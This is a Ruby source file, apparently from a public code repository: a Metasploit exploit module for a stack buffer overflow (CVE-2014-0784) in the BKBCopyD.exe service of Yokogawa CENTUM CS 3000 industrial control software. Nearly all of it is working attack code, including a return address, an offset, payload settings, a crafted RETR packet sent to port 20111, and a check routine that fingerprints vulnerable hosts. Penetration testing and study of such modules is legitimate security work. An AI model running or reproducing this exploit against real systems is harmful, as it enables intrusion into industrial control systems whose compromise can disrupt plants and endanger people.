107 lines
2.8 KiB
Ruby
107 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
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exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
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been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
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},
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'Author' =>
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[
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'juan vazquez',
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'Redsadic <julian.vilas[at]gmail.com>'
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],
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'References' =>
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[
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[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
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[ 'CVE', '2014-0784']
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],
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'Payload' =>
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{
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'Space' => 373, # 500 for the full RETR argument
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'DisableNops' => true,
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'BadChars' => "\x00\x0d\x0a\xff",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
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{
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'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]
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'Offset' => 123
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}
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],
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],
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'DisclosureDate' => 'Mar 10 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(20111)
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], self.class)
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end
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def check
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pkt = build_probe
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res = send_pkt(pkt)
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if valid_response?(res)
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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data = "RETR "
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data << rand_text(target['Offset'])
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data << [target.ret].pack("V")
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data << payload.encoded
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data << "\n"
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print_status("Trying target #{target.name}, sending #{data.length} bytes...")
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connect
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sock.put(data)
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disconnect
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end
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def build_probe
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"#{rand_text_alpha(10)}\n"
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end
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def send_pkt(data)
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connect
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sock.put(data)
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data = sock.get_once
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disconnect
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return data
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end
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def valid_response?(data)
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return false unless !!data
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return false unless data =~ /500 'yyparse error': command not understood/
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return true
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end
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end
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